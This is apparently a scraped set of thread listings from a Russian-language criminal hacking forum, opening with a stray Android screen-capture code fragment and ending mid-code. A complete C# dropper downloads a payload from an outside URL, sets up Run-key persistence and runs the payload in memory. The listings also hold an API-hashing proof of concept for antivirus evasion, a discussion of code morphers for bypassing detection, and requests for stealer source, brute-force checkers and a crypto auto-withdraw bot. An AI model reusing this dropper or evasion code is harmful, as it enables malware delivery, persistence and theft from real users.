import android.media.projection.MediaProjectionManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Toast;

import androidx.annotation.RequiresApi;

public class ScrenshotActivity extends Activity {
    private static final int REQUEST_CODE = 100;
    private MediaProjection mMediaProjection;

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_screnshot);

        Toast.makeText(getApplicationContext(), "Screenshot Activity Started", Toast.LENGTH_LONG).show();


       /* startProjection();
        Toast.makeText(getApplicationContext(), "Projection is about to stops", Toast.LENGTH_LONG).show();

*/

        startProjection();


    }



    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == REQUEST_CODE) {
            if (resultCode == Activity.RESULT_OK) {
                startService(com.example.mycallrecording.StartScreenCapService.getStartIntent(this, resultCode, data));
            }
        }
    }



    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    private void startProjection() {
        MediaProjectionManager mProjectionManager =
                (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
        startActivityForResult(mProjectionManager.createScreenCaptureIntent(), REQUEST_CODE);
    }

    private void stopProjection() {
        startService(com.example.mycallrecording.StartScreenCapService.getStopIntent(this));
    }





}
MinGW PDB path
ID: 6765d804b4103b69df375831
Thread ID: 79920
Created: 2023-01-14T01:08:12+0000
Last Post: 2023-01-14T08:05:26+0000
Author: awaken1337
Replies: 3 Views: 430

Какой аргумент нужно указать линкеру что бы указать свой путь для PDB файла?

Нужны опытные програмисты С++
ID: 6765d804b4103b69df3758df
Thread ID: 64594
Created: 2022-03-21T16:13:46+0000
Last Post: 2022-03-25T11:10:14+0000
Author: UNDERTacker
Replies: 11 Views: 428

Всем доброго времени суток, я начинающий програмист, знаю только озы, все мы с чего-то начинаем! В общем я рошёл видеокурс по языку с++, и знаю основу, но не имею представления- что мне делать дальше, я выбрал степь, решил писать ПО, драйвера, ОС, имею право мечтать, но я не знаю как это делать( Пожалуйста, помогите мне, какие нужно подключить библиотеки, какие используются функции, как выглядет код драйвера, т.к. во всех форумах либо пустая болтавня, либо готовый код и пару слов. Скатав код я ни чему не научусь, что мне делать?!!!!. По этому прошу ВАС о помощи мне, расскажите мне подробно о том как это делается!
Могу ли я использывать не Visual Studio, а Visual Studio Code?
В крайнем случае хотя б направьте, где копать, искать, как мне искать и что искать! Буду ОООООООООООООООчень благодарен!😟

Predator thief
ID: 6765d804b4103b69df37582e
Thread ID: 80170
Created: 2023-01-17T13:43:30+0000
Last Post: 2023-01-18T06:46:45+0000
Author: Deployself
Replies: 3 Views: 426

Возможно у кого-то ещё имеются исходники данного стиллера, находил несколько ссылок но все - не валидны, нигде не могу найти, буду благодарен за источники
Если у вас есть исходники более сильного его конкурента, было бы тоже не плохо

(EN/RU) (C#) How to do startup if injected/crypted?
ID: 6765d804b4103b69df37592d
Thread ID: 60102
Created: 2021-12-15T18:57:09+0000
Last Post: 2021-12-17T14:05:32+0000
Author: Leer
Replies: 10 Views: 426

I can translate russian, but apologies for it. I don't understand how authors or users who crypt their file, how does the files startup still work? if the process is injected, how can it copy itself, or launch itself on start up? You can have the file get it's bytes and write to new file, but then it is not crypted on next launch. If someone has some idea or code in C# to demonstrate, will help much, thanks. I am talking about the original file having startup, not the crypter itself by the way

Я не понимаю, как авторы или пользователи, которые шифруют свой файл, как все еще работает запуск файлов? если процесс введен, как он может копировать себя или запускать себя при запуске? Файл можно получить байт и записать в новый файл, но при следующем запуске он не будет зашифрован. Если у кого-то есть какие-то идеи или код в С# , чтобы продемонстрировать, поможет, спасибо

Еще раз прошу прощения за перевод

ЧАСТЬ 1 | Создание защищенного сервера баз данных на C
ID: 6765d804b4103b69df375742
Thread ID: 107426
Created: 2024-02-04T01:42:10+0000
Last Post: 2024-02-04T16:56:51+0000
Author: Афина
Prefix: Статья
Replies: 3 Views: 424

Создание защищенного сервера баз данных на C

В этой статье будет рассмотрен первый этап создания зашифрованного и защищенного сервера баз данных на C для обработки и защиты коммуникаций c2 с веб-сайтом и серверной системой. Мы будем использовать C и PHP для взаимодействия с нашей базой данных, сервер базы данных будет написан на c, а обработка взаимодействия с интерфейсом будет осуществляться с помощью PHP. Я предполагаю, что у вас есть некоторые предварительные знания обоих языков. К концу этой статьи мы сможем создать сервер базы данных, который хранит лицензионные ключи пользователей защищенным и зашифрованным способом, который будет абсолютно бесполезен для злоумышленника в случае взлома, потому что все будет зашифровано и практически необратимо, а также локально контролироваться с полными полномочиями.

ОСНОВНЫЕ ЭЛЕМЕНТЫ ПРОЦЕДУРЫ

ХЭШИРОВАНИЕ + ШИФРОВАНИЕ| BCRYPT && XOR
---|---

Данных Хранилище| SQLITE3
---|---

C2 Коммуникация| SOCKETS
---|---

ТИП ПОДКЛЮЧЕНИЯ| ПАРАЛЛЕЛЬНЫЙ | МНОГОПОТОЧНЫЙ
---|---

ДАННЫХ СЕРВЕР (C)
1. C исходный файл и необходимые заголовки
Мы начнем с включения необходимых библиотек c, необходимых для всего процесса
server.c

C:Copy to clipboard

#include<stdlib.h>
#include<stdio.h>
#include<sqlite3.h>
#include<string.h>
#include<bcrypt.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<stdint.h>
#include<errno.h>
#include<sys/types.h>
#include<pthread.h>
#include<locale.h>

2. Кода Оптимизация
Здесь мы добавим c preprocessor macros для оптимизации кода и ускорения компиляции gcc. Не все компиляторы поддерживают некоторые из этих macros.

C:Copy to clipboard

#ifndef NDEBUG
#define NDEBUG
#endif
#if defined NDEBUG
#pragma GCC optimize("02")
#endif

3. Данных Хранилище
Мы должны создать файл хранилища базы данных, который будет использоваться для локального размещения нашей базы данных, и этот метод эффективен, потому что нам не понадобится внешний сервер базы данных, размещенный на сервере, к которому у нас нет полного доступа, поскольку это локальное хранилище базы данных, у нас есть полный доступ к нашей базе данных. Давайте объявим нашу структуру и функцию, которые будут использоваться для создания нашей локальной базы данных SQL

C:Copy to clipboard

static uint8_t DatabaseInitializer(void);
typedef struct{
uint32_t ServerHandler;
struct sockaddr_in ServerConnectionInfo;
struct sockaddr_in ClientConnectionInfo;
uint32_t ServerConnectionHandler; 
pthread_t ConnectionDispatcher; 
char ReceivedPackets[(sizeof(char)*0x400)*0B0001010];
sqlite3* DBInit; 
uint16_t DBInitModifier; 
uint64_t SCLoad;
sqlite3* DatabaseHandler;
char* DBERR; 
uint16_t DBAccessModifier;
uint8_t SOLOPT;
}VirtualMemory;

Теперь давайте напишем определение нашей функции

C:Copy to clipboard

static uint8_t DatabaseInitializer(void){
VirtualMemory *vm_db=(VirtualMemory*)malloc(sizeof(VirtualMemory));   //Выделите достаточно памяти для структуры
memset(vm_db,0B0000,VirtualMemory);   //Обнуляем структуру
if((vm_db->DBInitModifier=sqlite3_open("UserLicense.db",&vm_db->DBInit))!=SQLITE_OK){ // Создаем наш файл локальной базы данных (LDF)
fprintf(stderr,"DB_INIT_ERROR : %d",errno);
return errno;// Возвращает errno как значение при сбое
    }
if((vm_db->DBInitModifier=sqlite3_exec(vm_db->DBInit,"CREATE TABLE USERLICENSE(USER INT PRIMARY KEY NOT NULL,LICENSE CHAR(18));",(void*)0B0000,(void*)0B0000,&vm_db->DBERR))!=SQLITE_OK){// Создаем нашу таблицу USERLICENSE для хранения пользовательских лицензий
fprintf(stderr,"DB_INITTB_ERROR : %d : ТИП : %s",errno,vm_db->DBERR);
return errno;// Возвращает errno как значение при сбое
    }
return 0x0;//
}

Давайте инициализируем нашу функцию в main блоке

C:Copy to clipboard

VirtualMemory *vm=(VirtualMemory*)malloc(sizeof(VirtualMemory));
memset(vm,0B0000000000000000,sizeof(VirtualMemory));
DatabaseInitializer()==0B0000?:exit(EXIT_FAILURE);

Теперь когда мы успешно создали нашу локальную базу данных давайте перейдем к следующим главам посвященным инициализации сокетов и шифрованию
оставляйте свои замечания ниже я отвечу на каждый вопрос настолько насколько смогу чтобы устранить любые недоразумения.

Поиск необъявленной функции NTDLL
ID: 6765d804b4103b69df37576e
Thread ID: 102745
Created: 2023-11-22T11:34:22+0000
Last Post: 2023-11-25T14:45:14+0000
Author: secflag
Replies: 7 Views: 423

Всех приветствую.

В ntdll.dll присутствует функция, которая отвечает за некоторые действия загрузчика, но проблема в том, что она не объявлена.
Я знаю, что можно искать функции по особенным паттернам, но возникает вопрос: Как это реализовать средствами C++?
Возможно, по байтам, по строкам или API-вызовами.

( пример кода приветствуется )

C# Dropper
ID: 6765d804b4103b69df3757c6
Thread ID: 92334
Created: 2023-07-07T18:08:02+0000
Last Post: 2023-07-21T21:45:01+0000
Author: Xzedin
Replies: 4 Views: 421

C#:Copy to clipboard

using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Threading;
using Microsoft.Win32;

namespace ioDrop
{
    class Program
    {
        public static void Main()
        {
            byte[] payloadBuffer = DownloadPayload(@"http://example.com/malware.exe");

            if (InstallPayload(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\payload.exe"))
                Environment.Exit(0);
            else
                RunPayload(payloadBuffer);
        }

        private static bool InstallPayload(string dropPath)
        {
            if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
            {
                FileStream FS = null;
                try
                {
                    if (!File.Exists(dropPath))
                        FS = new FileStream(dropPath, FileMode.CreateNew);
                    else
                        FS = new FileStream(dropPath, FileMode.Create);
                    byte[] loaderBuffer = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
                    FS.Write(loaderBuffer, 0, loaderBuffer.Length);
                    FS.Dispose();
                    Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(dropPath), dropPath);
                    Process.Start(dropPath);
                    return true;
                }
                catch
                {
                    return false;
                }
            }
            return false;
        }

        private static byte[] DownloadPayload(string url)
        {
        redownload:
            try
            {
                HttpWebRequest httpRequest = (HttpWebRequest)WebRequest.Create(url);
                httpRequest.Method = WebRequestMethods.Http.Get;
                HttpWebResponse httpResponse = (HttpWebResponse)httpRequest.GetResponse();
                Stream httpResponseStream = httpResponse.GetResponseStream();

                using (MemoryStream memoryStream = new MemoryStream())
                {
                    httpResponseStream.CopyTo(memoryStream);
                    httpResponse.Close();
                    httpResponseStream.Dispose();
                    return memoryStream.ToArray();
                }
            }
            catch
            {
                Thread.Sleep(5000);
                goto redownload;
            }
        }

        private static void RunPayload(byte[] payload)
        {
            new Thread(() =>
            {
                try
                {
                    Assembly asm = AppDomain.CurrentDomain.Load(payload);
                    MethodInfo Metinf = asm.EntryPoint;
                    object InjObj = asm.CreateInstance(Metinf.Name);
                    object[] parameters = new object[1];
                    if (Metinf.GetParameters().Length == 0)
                    {
                        parameters = null;
                    }
                    Metinf.Invoke(InjObj, parameters);
                }
                catch { }
            })
            { IsBackground = false }.Start();
        }
    }
}
Ищу кодера с++
ID: 6765d804b4103b69df3757e1
Thread ID: 88567
Created: 2023-05-22T01:44:21+0000
Last Post: 2023-05-22T12:14:08+0000
Author: RedDragon
Replies: 3 Views: 421

Нужна модификация и доработка софта, за подробностями в пм. Бюджет до 20.000$ Сразу деп в гаранта

Obfuscator vs Morpher
ID: 6765d804b4103b69df375740
Thread ID: 107590
Created: 2024-02-06T06:16:58+0000
Last Post: 2024-02-06T06:16:58+0000
Author: drpalpatine
Replies: 0 Views: 421

[ Obfuscation (software) - Wikipedia

](https://wikipedia.org/wiki/Obfuscation_(software))

wikipedia.org wikipedia.org

Code morphing - Wikipedia

wikipedia.org wikipedia.org

nobody inside white uses such term --> code morphing, this is heavily used inside our community
Octavian MorphMePlease https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/73254/post-587652
DoppleKSE "...olvm, which is not intended for morphing at all in the context of AV bypass..."

DildoFagins https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/42944/

[Obfuscation of C/C++ code using Python and

libclang](https://xss.is/threads/42944/post-651006)​

https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/106900/

Tree rewriter

https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/102782/post-714365

secidiot
"This is all good, of course, but what about the output detections? The standard llvm obfuscator immediately has a tree in the statics of Trojan/Win32.Generic, Win64:Malware-gen, Unsafe, etc., no matter how I tweak those settings. And simply “obfuscating” (diluting it with branches, loops, mat operations) does not make sense when, for example, you have imports (imphash), the resources are the same on each build.
You can look somewhere in my messages on the forum, I wrote about what morphing should really look like so that your software can live for years without cleaning, with daily spills and rental of software, I don’t want to just repeat it."

http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/34888/

Unknown
"...The detection here is static. The morpher must “dilute” the code, thereby removing the signature. But - he should not stupidly insert garbage in front and behind. He must morph the existing code so that the result is the same. Well, it takes the variable i and subtracts it from it, multiplies it, performs the operations ror xor rol , and so on. Fake API and import generators are not so critical; it is important to morph and transform the existing code."

https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/103043/post-715149

salsa20
"Thus, the constant will be calculated during program execution based on complex graph transformations."

www.politoinc.com

[ Automated Obfuscation of Windows Malware and Exploits Using O-LLVM

](https://www.politoinc.com/post/2020/03/02/automated-obfuscation-of-windows- malwareexploits-using-o-llvm)

Intro I was thinking over how easily Meterpreter stagers can be statically detected nowadays by commercial antivirus (AV) scanners and online tools like VirusTotal. The stagers can be easily detected even when using msfvenom’s built-in encoders/encryptors or the techniques of evasion frameworks...

www.politoinc.com www.politoinc.com

the question is obvious already, what does our forum need in general? morphers vs obfuscators, the difference lies in adding techniques like api obfuscation, anti debugging to obfuscators == morphers
or things like control flow morphing + opaque predicates + call graph morphing are enough?
because we all enjoyed DildoFagins articles on obfuscation

  • tree writer
    please let us discuss + settle the debate
    what is interesting to forum for the competition + articles + private commerce?

also inside your opinion --> which is what? morpher or obfuscator?
1. MorphMePlease - Octavian
2. Tree Rewriter - DildoFagins
3. OLLVM
4. what mr Unknown asked for here http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/34888/
more examples of morphers

WhatsApp call/chat interception on Android
ID: 6765d804b4103b69df3756ac
Thread ID: 124769
Created: 2024-10-14T04:21:02+0000
Last Post: 2024-10-14T04:21:02+0000
Author: shrekushka
Replies: 0 Views: 413

Is it possible to perform any of the following programmatically on WhatsApp on Android without танцевать на бубне?
1. block calls
2. block chats
3. delete chats
4. delete calls from history
5. unblock calls/chats

можно ли разогнать процессор с помощью проги на с++/NASM?
ID: 6765d804b4103b69df375809
Thread ID: 84754
Created: 2023-03-29T07:43:48+0000
Last Post: 2023-03-30T18:26:42+0000
Author: izen02
Replies: 7 Views: 413

можно ли разогнать процессор с помощью проги на С++/NASM? Если да, то как? желательно небольшой пример кода/наводка куда копать

ОС для разгона Win10 x64

i need someone help me make the linkedin brute checker
ID: 6765d804b4103b69df375790
Thread ID: 97044
Created: 2023-09-01T09:36:47+0000
Last Post: 2023-09-16T23:43:39+0000
Author: danol
Replies: 2 Views: 412

i need someone help me make the linkedin brute checker
cuz this is first post requst
please give me a quote
tg:dddanol

how to use visual studio without account after 30 days?
ID: 6765d804b4103b69df375943
Thread ID: 59134
Created: 2021-11-22T10:31:12+0000
Last Post: 2021-11-25T10:11:45+0000
Author: Pharos
Replies: 9 Views: 411

after 30 days trial you are forced to use an microsoft account. is there any way to bypass this?

Автовывод ETH & BNB по Приват кею
ID: 6765d804b4103b69df37593a
Thread ID: 59475
Created: 2021-11-29T22:56:04+0000
Last Post: 2021-11-30T10:15:10+0000
Author: codest
Replies: 4 Views: 410

Приветствую всех
Есть бот точнее исходник на node js
Требуется доработать его
В плане того чтоб проверили все на ошибки и пофиксили
Прайс какой конечно без понятия
Как только приходили средства еще даже в траст увед не приходило
Либо на BSCAN уведомление не приходило а баланс обновлялся
Бот уже отправлял средства куда мне надо
Это все есть В исходниках
Нужно только дописать
Либо что-то изменить
Что конкретно без понятия т.к я в этом 0
Милости прошу в лс.
На других бордах есть куча отзывов ( предоставлю )
Это если на тот случай если увидите что я тут новорег)
Посоветовали ваш форум
Посмотрим найду ли человека который все сделает

Хэширование строк в MASM64 + C
ID: 6765d804b4103b69df375909
Thread ID: 61994
Created: 2022-01-26T18:12:32+0000
Last Post: 2022-02-08T16:43:27+0000
Author: varwar
Replies: 12 Views: 410

В продолжение темы atavism. Сугубо для первертов. С помощью ml.64 и его CTL (Compile Time Language) реализовал PoC для [этого ](https://www.ired.team/offensive-security/defense-evasion/windows-api- hashing-in-malware)алгоритма хэширования строк с доступом к хешам из С или С++ модулей. Реализовать PRNG для констант const1 , hash в масмовском CTL не удалось. Не нашел какой-либо информации по поддержке @Date, или каких- нибудь других подходящих функций. Может быть есть сведущие люди, кто знает как решить проблему. Компилировалось все это дело в Visual Studio.

Spoiler: apihashinitialize.asm

Code:Copy to clipboard

comment "types & libs, all in one place"
include \masm32\include64\masm64rt.inc
comment "constant definitions"
comment "_HASH_API is a main struct which stores hash values"

_HASH_API         struct
    self  qword        ?   ;stores address of the struct
    hash1 dword        ?
    hash2 dword        ?
    hash3 dword        ?
    hash4 dword        ?
_HASH_API        ends

PHASH_API typedef PTR _HASH_API
HASH_API  typedef      _HASH_API

.const
;nothing here yet

;data section starts here
.data

comment "TODO: Create a PRNG macro for hash value if it's possible"
comment "This macro produce hash from API name"
HashAPIName macro apiStr

const1 = 0AB10F29Fh         ;change this value if you want
                            ;to generate new hashes

hash = 35h                  ;same as previous
    ;hash loop, obviously
    forc char, apiStr
        hash = hash + ((hash * const1 + '&char') and 0FFFFFFh)
    endm
    exitm <hash>
endm

comment "Apply macro to the needed API calls"
dw_CreateThreadHash        dword HashAPIName(<CreateThread>)
dw_CreateProcessHash       dword HashAPIName(<CreateProcess>)
dw_Privet                  dword HashAPIName(<Privet>)
dw_MessageBoxHash          dword HashAPIName(<MessageBox>)
;add more if you need

;initialize struct fields
p_HashApiTable _HASH_API {0,0,0,0,0}

;code section starts here
.code
comment "This function fills the table with our hashes, which we will reference later from c/cpp code"
public FillAPIHashTable
FillAPIHashTable proc
STACKFRAME
    lea        rdx, [p_HashApiTable]
    mov        p_HashApiTable.self, rdx
    mov        edx, dw_CreateThreadHash
    mov        p_HashApiTable.hash1, edx
    mov        edx, dw_CreateProcessHash
    mov        p_HashApiTable.hash2, edx
    mov        edx, dw_Privet
    mov        p_HashApiTable.hash3, edx
    mov        edx, dw_MessageBoxHash
    mov        p_HashApiTable.hash4, edx
    mov        rax, p_HashApiTable.self
    ret
FillAPIHashTable endp

Spoiler: main.c

C:Copy to clipboard

#include <Windows.h>
#include <stdio.h>
#include <winnt.h>
#include <WinDef.h>

//prototypes
PDWORD GetFunctionAddressByHash(char* library, DWORD hash);
extern PHASH_API FillAPIHashTable();

//i don't understand how to get access to the same struct from asm file
//so I just dublicate it ;D
typedef struct _HASH_API
{
    UINT64 self;
    UINT32 dw_CreateThreadHash;
    UINT32 dw_CreateProcessHash;
    UINT32 dw_Privet;
    UINT32 dw_MessageBoxHash;
} HASH_API, *PHASH_API;

typedef HANDLE (__stdcall* CUSTOMCREATETHREAD)(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    __drv_aliasesMem LPVOID lpParameter,
    DWORD                   dwCreationFlags,
    LPDWORD                 lpThreadId
    );
}

//credits: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
void main()
{
    //i changed original code here and add stack strings to avoid strings search
    char k32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2','\0'};
    char u32[] = { 'u', 's', 'e', 'r', '3', '2', '\0' };
    PHASH_API hapi;
    hapi = FillAPIHashTable();
    PDWORD functionAddress = GetFunctionAddressByHash(k32, hapi->dw_CreateThreadHash);
    CUSTOMCREATETHREAD CreateThread = (CUSTOMCREATETHREAD)functionAddress;
    DWORD tid = 0;

    //call CreateThread
    HANDLE th = CreateThread(NULL, NULL, NULL, NULL, NULL, &tid);
    return 1;
}

DWORD GetHashFromString(char* string)
{
    size_t stringLength = strnlen_s(string, 50);
    DWORD hash = 0x35;

    for (size_t i = 0; i < stringLength; i++)
    {
        hash += (hash * 0xab10f29f + string[i]) & 0xffffff;
    }
    //printf("%s: 0x00%x\n", string, hash);

    return hash;
}

PDWORD GetFunctionAddressByHash(char* library, DWORD hash)
{
    PDWORD functionAddress = (PDWORD)0;

    //get base address of the module in which our exported function of interest resides (kernel32 in the case of CreateThread)
    HMODULE hmlibraryBase = LoadLibraryA(library);
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hmlibraryBase;
    PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hmlibraryBase + dosHeader->e_lfanew);

    DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hmlibraryBase + exportDirectoryRVA);

    //get RVAs to exported function related information
    PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)hmlibraryBase + imageExportDirectory->AddressOfFunctions);
    PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)hmlibraryBase + imageExportDirectory->AddressOfNames);
    PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hmlibraryBase + imageExportDirectory->AddressOfNameOrdinals);

    //iterate through exported functions, calculate their hashes and check if any of them match our hash of 0x00544e304 (CreateThread)
    //if yes, get its virtual memory address (this is where CreateThread function resides in memory of our process)
    for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
    {
        DWORD functionNameRVA = addressOfNamesRVA[i];
        DWORD_PTR functionNameVA = (DWORD_PTR)hmlibraryBase + functionNameRVA;
        char* functionName = (char*)functionNameVA;
        DWORD_PTR functionAddressRVA = 0;

        //calculate hash for this exported function
        DWORD functionNameHash = GetHashFromString(functionName);

        //if hash for CreateThread is found, resolve the function address
        if (functionNameHash == hash)
        {
            functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
            functionAddress = (PDWORD)((DWORD_PTR)hmlibraryBase + functionAddressRVA);
            printf("%s : 0x%x : %p\n", functionName, functionNameHash, functionAddress);
            return functionAddress;
        }
    }
}
расширение jnlp
ID: 6765d804b4103b69df3756bf
Thread ID: 122831
Created: 2024-09-16T16:13:11+0000
Last Post: 2024-09-16T16:13:11+0000
Author: cryptobarmen
Replies: 0 Views: 409

Всем доброго времени суток, может кто помочь в открытии данного формата, на четырёх машинах бьёт ошибку

net.sourceforge.jnlp.LaunchException: Fatal: Initialization Error: Could not initialize application. The application has not been initialized, for more information execute javaws from the command line.
at net.sourceforge.jnlp.Launcher.createApplication(Launcher.java:593)
at net.sourceforge.jnlp.Launcher.launchApplication(Launcher.java:374)
at net.sourceforge.jnlp.Launcher.access$300(Launcher.java:72)
at net.sourceforge.jnlp.Launcher$TgThread.run(Launcher.java:661)

Как запустить нативную программу в памяти на c# ?
ID: 6765d804b4103b69df375828
Thread ID: 80760
Created: 2023-01-27T17:50:14+0000
Last Post: 2023-01-27T18:17:00+0000
Author: MangaM
Replies: 3 Views: 409

Хочу реализовать функцию на подобие assembly load invoke, как это к примеру можно делать со сборками net, но вот как это сделать с нативным кодом, к примеру есть у меня программа на плюсах или си и я хочу загрузить ее сначала в память а потом вызвать точку входа, подскажите как это можно сделать ?

Вопрос по WinAPI
ID: 6765d804b4103b69df3758d9
Thread ID: 64924
Created: 2022-03-28T05:48:57+0000
Last Post: 2022-03-30T21:48:43+0000
Author: alisckamoore
Replies: 4 Views: 408

А есть возможность в WinAPI написать hook для перехвата html-текста и возможности его подмены? Может кто делал подобное или примеры?

using namespace std х***ня?
ID: 6765d804b4103b69df375806
Thread ID: 84946
Created: 2023-03-31T15:23:13+0000
Last Post: 2023-03-31T17:13:54+0000
Author: sonxyz
Replies: 11 Views: 407

Стоит такой вопрос, вообще вроде гдето слышал что юзать юсинг неймспейс это х#йня, типа палиться и все такое
Что скажете ?

Как сделать Стиллер dll
ID: 6765d804b4103b69df3757e9
Thread ID: 87768
Created: 2023-05-11T22:24:56+0000
Last Post: 2023-05-13T12:57:58+0000
Author: Уэнсдэй
Replies: 3 Views: 405

Как сделать Стиллер dll

Странная ошибка при попытке скрыть импорт C++
ID: 6765d804b4103b69df3757c0
Thread ID: 94076
Created: 2023-07-26T22:00:53+0000
Last Post: 2023-07-27T06:54:19+0000
Author: Alexey18
Replies: 7 Views: 405

Вызвано исключение по адресу 0x00000000 в example.exe: 0xC0000005: нарушение прав доступа при исполнении по адресу 0x00000000.
Код ниже. Самое удивительное, что в дебаге отрабатывает, а в релизе нет. Думал что проблема в оптимизации - оказался не прав.
1690407886383.png
В релизе запускается только так
1690408115266.png

Пацаны, подсобите пж. В чем проблема вообще не могу понять. Св-ва проекта облазил вдоль и поперек - короче 2 день уже думаю че за бред. В гугле толком ниче не нашел

android http service not work for long in background
ID: 6765d804b4103b69df3756c2
Thread ID: 122484
Created: 2024-09-11T04:54:37+0000
Last Post: 2024-09-11T04:54:37+0000
Author: bg1
Replies: 0 Views: 403

Hi as in title , i make simple android app after install should work in background and start infite http post request in emulator connected to android studio and my personal phone works fine , but on targets phones it wan't work fine after few minutes , some times hours stop sending the http request .

what is realy the problem ? i already grant ignore battery permisison also i added a bootreciver when phone booted the service will start automaticaly but still after few minutes go offline

can someone help

the language i write my project is kotlin

Поиск незадокументированной функции в NTDLL
ID: 6765d804b4103b69df375711
Thread ID: 112746
Created: 2024-04-17T16:41:56+0000
Last Post: 2024-04-18T12:26:01+0000
Author: secflag
Replies: 2 Views: 399

Всех Приветствую. Стоит задача найти адрес функции по паттерну в NTDLL.
На просторах интернета нашел этот код:

C++:Copy to clipboard

#include <Windows.h>
#include <iostream>

bool DataCompare(byte* pData, byte* pattern, char* mask)
{
    for (; *mask; mask++, pattern++, pData++)
    {
        if (*mask == 'x' && *pData != *pattern)
            return false;
    }
    return true;
}

DWORD FindPattern(DWORD addr, DWORD length, byte* pattern, char* mask)
{
    HMODULE handle = GetModuleHandleW(L"ntdll.dll");

    MEMORY_BASIC_INFORMATION mbi = { 0 };
    DWORD offset = 0;

    while (offset < length)
    {
        VirtualQueryEx(handle, (LPCVOID)(addr + offset), &mbi,
            sizeof(MEMORY_BASIC_INFORMATION));
        if (mbi.State != MEM_FREE)
        {
            byte* buffer = new byte[mbi.RegionSize];
            memcpy(mbi.BaseAddress, buffer, mbi.RegionSize);
            for (unsigned int i = 0; i < mbi.RegionSize; i++)
            {
                if (DataCompare(buffer + i, pattern, mask))
                {
                    delete[] buffer;
                    return (DWORD)mbi.BaseAddress + i;
                }
            }
            delete[] buffer;
        }
        offset += mbi.RegionSize;
    }
    return 0;
}

unsigned char pattern[] = { 0xF6, 0x40, 0x10, 0x01 };
char* mask = (char*)"xxxx";

int main(int argc, char* argv[]) {

    DWORD addr = FindPattern(
        (DWORD)GetModuleHandleW(L"ntdll.dll"),
        4,
        pattern,
        mask
    );

    printf("%p", (void*)addr);

    return 0;
}

Но при запуске программы начинается вечный цикл...
Хотя в IDA Pro этот паттерн обозначает фрагмент в функции LdrpPrepareModuleForExecution.
Заранее спасибо за конструктивную помощь!

Проблема с curl proxy socks5|4/https
ID: 6765d804b4103b69df3758c3
Thread ID: 67142
Created: 2022-05-17T15:44:03+0000
Last Post: 2022-05-22T17:50:14+0000
Author: sleepknot
Replies: 16 Views: 396

Всем привет, делаю брут на Си + curl, сделал балванку, подрубил потоки. Все отлично работает, но когда пришло время подрубать прокси для обхода прокси и других блокировок, пошли проблемы.
Во-первых, socks5 отказывается работать, либо работает (что редко бывает) очень медленно. Я подумал что дело socks5, медленные и херовые купил. Купил другие - проблема та же.
Ошибка (Разные бывают, одна из них):

Bash:Copy to clipboard

*   Trying 72.195.34.60:27391...
* SOCKS5 connect to IPv4 51.195.232.168:443 (locally resolved)
* SOCKS5 request granted.
* Connected to 72.195.34.60 (72.195.34.60) port 27391 (#0)
* found 387 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
* server certificate verification failed. CAfile: none CRLfile: none
* Closing connection 0
× curl_easy_perform() failed: SSL peer certificate or SSH remote key was not OK

Код:

C:Copy to clipboard

#include "curl/curl.h"

int main()
{

    const char URL[] = "https://ipcheck.com";
    char curl_fields[256];
    long response_code;

    CURL *curl;
    CURLcode res;

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();
    if (curl)
    {
        curl_easy_setopt(curl, CURLOPT_URL, URL);

        curl_easy_setopt(curl, CURLOPT_PROXY, "socks5://72.195.34.60:27391");

        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);

        curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/9.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0");

        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        res = curl_easy_perform(curl);
        if (res != CURLE_OK)
        {
            fprintf(stderr, "× curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
        }
        else
        {
            res = curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
